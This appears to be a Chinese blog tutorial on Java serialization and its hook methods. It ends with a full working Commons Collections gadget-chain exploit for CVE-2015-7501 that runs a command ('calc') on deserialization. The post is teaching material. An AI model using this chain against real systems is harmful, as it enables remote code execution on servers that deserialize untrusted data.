JDK序列化机制

序列化和反序列化

序列化:把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。 核心作用是对象状态的保存与重建。
反序列化:客户端从文件中或网络上获得序列化后的对象字节流,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

public static byte[] serialize(Serializable obj) throws IOException {
  Objects.requireNonNull(obj, "object to serialize cannot be null");
  try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(bos)) {
    oos.writeObject(obj);
    oos.flush();
    return bos.toByteArray();
  }
}

public static Serializable deserialize(byte[] value) throws IOException, ClassNotFoundException {
  Objects.requireNonNull(value, "bytes to deserialize cannot be null");
  try (ByteArrayInputStream bis = new ByteArrayInputStream(value);
      ObjectInputStream ois = new ObjectInputStream(bis)) {
    return (Serializable) ois.readObject();
  }
}

使用场景与替代方案

  1. 适合使用 Serializable 的场景
  • Java 单一环境内部的对象持久化(如本地文件存储临时对象);
  • 简单对象的短期序列化(无跨语言、高安全需求);
  • 依赖 Java 原生特性(如对象引用、序列化钩子函数)的场景。
  1. 不适合的场景(建议替代方案)
  • 跨语言 / 跨平台:Serializable 是 Java 专属,推荐用 JSON(Jackson/Gson)、Protobuf;
  • 高安全需求:Serializable 存在反序列化代码执行漏洞(如 CVE-2015-7501),推荐用无代码执行风险的 JSON/Protobuf;
  • 高并发 / 高性能:Serializable 序列化效率低、字节流体积大,推荐用 Protobuf(二进制协议,体积小、速度快)。

Serializable 接口

Serializable 是 Java 提供的一个 标记接口(Marker Interface),位于 java.io 包下,核心作用是标识一个类的对象可以被 JDK 原生序列化(即对象 → 字节流的转换,用于持久化存储或网络传输)。

它本身没有任何抽象方法,仅作为 JVM 识别 “可序列化对象” 的 “开关”—— 一个类只要实现 Serializable,就表示它同意 JVM 对其对象进行序列化 / 反序列化;若不实现,则 JVM 会直接抛出 NotSerializableException

使用规则:

  1. 类必须实现 Serializable
// 可序列化类(正确)
import java.io.Serializable;

class User implements Serializable {
    private String name;
    private int age;
    // 字段、构造函数、getter/setter...
}

// 不可序列化类(错误)
class UnserializableUser {
    // 无 Serializable 实现,序列化时抛 NotSerializableException
}
  1. 所有非 transient 字段必须可序列化,若字段无需序列化(如临时数据、不可序列化的资源对象),用 transient 修饰(JVM 会忽略该字段):

  2. 若类的字段是引用类型(如自定义对象、集合、数组),则该引用类型也必须实现 Serializable,否则序列化时抛 NotSerializableException

  3. 若字段是基本类型intboolean 等)或 String(已实现 Serializable),则默认支持序列化。

serialVersionUID

serialVersionUID 的作用

  • 是 JVM 用于版本兼容校验的 “类唯一标识”,本质是一个 static final long 常量;
  • 序列化时,JVM 会将 serialVersionUID 写入字节流;反序列化时,会对比字节流中的 serialVersionUID 与当前类的 serialVersionUID
    • 一致:允许反序列化;
    • 不一致:抛 InvalidClassException(版本不兼容)。
class User implements Serializable {
    // 显式声明 serialVersionUID(任意 long 值,建议用 IDE 自动生成)
    private static final long serialVersionUID = 1L; 

    private String name;
    private int age;
}

注意事项:

  1. 若未显式声明,JVM 会根据类的字段、方法、继承关系、访问权限等自动计算 serialVersionUID;,但是不建议serialVersionUID依赖自动生成:一旦类发生微小修改(如新增字段、修改方法名、调整父类),自动计算的 serialVersionUID 会巨变,导致旧版本序列化的对象无法反序列化到新版本类(即使核心字段未变)。

  2. 版本兼容场景

  • 兼容场景:显式声明 serialVersionUID 后,新增非必需字段、修改方法逻辑,旧对象反序列化到新版本类时,缺失的新字段会取默认值(null/0),不影响核心逻辑;
  • 不兼容场景:删除字段、修改字段类型(如 intlong)、修改 serialVersionUID,反序列化直接失败。
  1. 特殊类型字段的处理
  • transient 字段:JVM 忽略,不序列化(如敏感字段 password、临时数据 tempValue);
  • static 字段:JVM 不序列化(static 是类级变量,不属于对象状态,反序列化后取当前类的静态变量值,而非序列化时的值);
  • 不可序列化资源(如 ThreadSocketInputStream):必须用 transient 修饰,否则序列化失败(这些对象与底层资源绑定,无法通过字节流还原)。
  1. 实现 Serializable 不一定就能序列化:若类的非 transient 字段是不可序列化类型(未实现 Serializable),仍会抛 NotSerializableException
  2. serialVersionUID可以是任意 long 值(如 123456789L),建议用 IDE 自动生成(基于类结构计算的唯一值,避免手动指定冲突);同一类的不同版本若要兼容,serialVersionUID 必须一致。
  3. transient 字段一定不会被序列化:默认是,但可通过钩子函数手动序列化:transient 仅屏蔽默认序列化,若在 writeObject() 中手动写入 transient 字段,仍可被序列化(如敏感字段加密后手动写入)。

序列化中的Hook方法

JDK 在序列化 / 反序列化过程中,JVM 会隐式调用几个特殊方法(无需实现接口,仅需按固定签名定义)。这些方法允许自定义序列化逻辑(如过滤敏感字段、处理复杂对象、版本兼容等),是 JDK 序列化灵活性的核心。

序列化阶段:对象 → 字节流

序列化流程:writeObject()writeReplace()(可选),最终将对象状态写入字节流。

writeObject

方法定义如下:

private void writeObject(ObjectOutputStream out) throws IOException
  • 作用:替代默认全字段序列化,手动控制字段写入(如加密敏感字段、处理非 Serializable 字段)。未定义则执行默认序列化(遍历非 transient 字段)。
  • 签名要求(严格匹配):访问权限:private(其他权限 JVM 不识别),返回值为void,参数仅 ObjectOutputStream 类型,异常必须声明 throws IOException

示例:(敏感字段加密)

class User implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String password; // 敏感字段

    // 自定义序列化钩子
    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject(); // 写入非敏感字段(name)
        String encryptedPwd = new StringBuilder(password).reverse().toString(); // 模拟加密
        out.writeObject(encryptedPwd); // 写入加密后的密码
    }
}

writeReplace

方法定义如下:

ANY-ACCESS-MODIFIER Object writeReplace() throws ObjectStreamException

调用时机:writeReplace()writeObject() 之前执行:JVM 先获取替代对象,再对替代对象执行序列化。

  • 作用:序列化时替换对象,不直接序列化当前实例,返回替代对象(需实现 Serializable)。
  • 典型场景:单例模式序列化(避免反序列化创建新实例)、版本兼容。
  • 签名要求:访问权限:任意(private/public 均可),返回值为Object(替代对象),无参数,声明异常 throws ObjectStreamException
  • 示例(单例序列化兼容)
class Singleton implements Serializable {
    private static final Singleton INSTANCE = new Singleton();
    private Singleton() {} // 私有构造

    // 序列化时返回单例实例
    private Object writeReplace() throws ObjectStreamException {
        return INSTANCE;
    }
}

反序列化阶段:字节流 → 对象

反序列化流程:readObject()readResolve()(可选),最终重建对象实例。

readObject

方法定义如下:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException

关键说明:读取顺序必须与 writeObject() 写入顺序一致,否则数据错乱。

  • 作用:对应 writeObject(),手动读取字节流字段(如解密敏感字段),未定义则执行默认反序列化。
  • 签名要求(严格匹配):访问权限必须为private,返回值为void,参数仅 1 个且为ObjectInputStream 类型,声明异常: throws IOException, ClassNotFoundException
  • 示例(敏感字段解密)
class User implements Serializable {
    // 延续上文,新增反序列化钩子
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject(); // 读取默认序列化字段(name)
        String encryptedPwd = (String) in.readObject();
        this.password = new StringBuilder(encryptedPwd).reverse().toString(); // 解密
    }
}

readResolve

方法定义如下:

ANY-ACCESS-MODIFIER Object readResolve() throws ObjectStreamException

readResolve()readObject() 之后执行:JVM 先重建对象,再替换为目标对象。

  • 作用:反序列化后替换对象,忽略重建的新实例,返回替代对象(如单例、缓存实例)。
  • 典型场景:单例模式反序列化(确保单例不被破坏)。
  • 签名要求:同 writeReplace()
  • 示例(单例反序列化兼容)
class Singleton implements Serializable {
    private static final Singleton INSTANCE = new Singleton();

    // 反序列化后返回单例实例
    private Object readResolve() throws ObjectStreamException {
        return INSTANCE;
    }
}

反序列化后实例与原单例地址一致(origin == deserializedtrue

readObjectNoData

这个 Hook 方法极少用,简单介绍下。方法定义如下:

private void readObjectNoData() throws ObjectStreamException
  • 作用:字节流不包含对象数据(如损坏、版本不兼容)时调用,初始化默认状态。
  • 触发场景:字节流缺失当前对象序列化数据(如父类实现 Serializable 子类未实现)。
  • 示例
private void readObjectNoData() throws ObjectStreamException {
    this.name = "未知";
    this.age = 0;
}

Externalizable

Externalizable 继承自 Serializable,通过显式方法完全控制序列化逻辑(侵入性更强,灵活性更高),序列化的对象需实现接口和无参构造。需实现以下两个必须方法

  1. void writeExternal(ObjectOutput out) throws IOException:替代 writeObject(),必须手动写入所有需序列化字段(无默认逻辑)。

    class User implements Externalizable {
        private String name;
        private int age;
    
        public User() {} // 必须有无参构造函数(反序列化调用)
    
        @Override
        public void writeExternal(ObjectOutput out) throws IOException {
            out.writeUTF(name); // 手动写入字符串
            out.writeInt(age);  // 手动写入整数
        }
    }
    
  2. void readExternal(ObjectInput in) throws IOException, ClassNotFoundException:作用是替代 readObject(),必须按 writeExternal() 顺序手动读取字段。

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        this.name = in.readUTF(); // 对应 writeUTF()
        this.age = in.readInt();  // 对应 writeInt()
    }
    

总结

所有 Hook 方法的完整调用顺序

  1. 序列化:

ObjectOutputStream.writeObject(obj) → 检查 Externalizable → 是则调用 writeExternal() → 否则检查 writeReplace() → 获取替代对象 → 调用替代对象 writeObject() → 写入字节流。

  1. 反序列化:

ObjectInputStream.readObject() → 检查 Externalizable → 是则无参构造创建对象 → 调用 readExternal() → 否则反射创建对象 → 调用 readObject() → 检查 readResolve() → 替换对象 → 返回结果。

注意事项

  • 签名严格匹配writeObject()/readObject() 必须满足 private void + 对应参数,否则视为普通方法。
  • transient 字段:默认序列化忽略,但可通过 writeObject()/readObject() 手动处理。
  • 单例兼容:必须配合 writeReplace()/readResolve(),否则序列化会创建新实例。
  • 版本兼容:类结构修改(如新增字段)需同步更新钩子函数,避免数据错乱。
  • 安全性风险readObject() 避免执行危险操作(如反射、命令执行),防止恶意字节流注入漏洞。

序列化漏洞

CVE-2015-7501为例

下面来演示一下这个漏洞:

<!-- 存在反序列化漏洞的 Commons Collections 版本 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

示例代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class SerializationVulnerabilityDemo {
  public static void main(String[] args) throws Exception {
    // 攻击者端
    // 1. 构造恶意 Transformer 链:执行 Runtime.getRuntime().exec("calc")(Windows 打开计算器)
    Transformer[] transformers = new Transformer[]{
            // 第一步:获取 Runtime 类(通过 Class.forName("java.lang.Runtime"))
            new ConstantTransformer(Runtime.class),
            // 第二步:调用 Runtime.getRuntime() 方法(无参数)
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                                   new Object[]{"getRuntime", new Class[0]}),
            // 第三步:执行 getRuntime() 方法,获取 Runtime 实例
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                                   new Object[]{null, new Object[0]}),
            // 第四步:调用 Runtime.exec() 方法,执行 "calc" 命令
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    // 2. 包装为 ChainedTransformer(链式执行上述 Transformer)
    Transformer chainedTransformer = new ChainedTransformer(transformers);
    // 3. 构造 LazyMap:get() 方法会触发 Transformer.transform()
    @SuppressWarnings("unchecked")
    Map<String, Object> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
    // 4. 构造 TiedMapEntry:getValue() 会调用 LazyMap.get()
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "testKey");
    // 5. 构造 BadAttributeValueExpException:readObject() 会调用 TiedMapEntry.getValue()
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
    // 通过反射修改 exp 的 val 字段为 TiedMapEntry(绕过构造函数限制)
    Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
    valField.setAccessible(true);
    valField.set(exp, tiedMapEntry);

    // 6. 序列化恶意对象到文件(模拟攻击者生成恶意字节流)
    final Path path = Paths.get("malicious.ser");
    ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
    out.writeObject(exp);
    out.close();

    // 目标系统读取恶意序列化文件(模拟接收攻击者的字节流)
    ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
    // 反序列化:触发 readObject() 调用链,执行恶意代码
    Object obj = in.readObject();
    in.close();
    // 反序列化完成: 弹出计算器
  }
}
posted @ 2025-11-09 18:53  vonlinee  阅读(6)  评论(0)    收藏  举报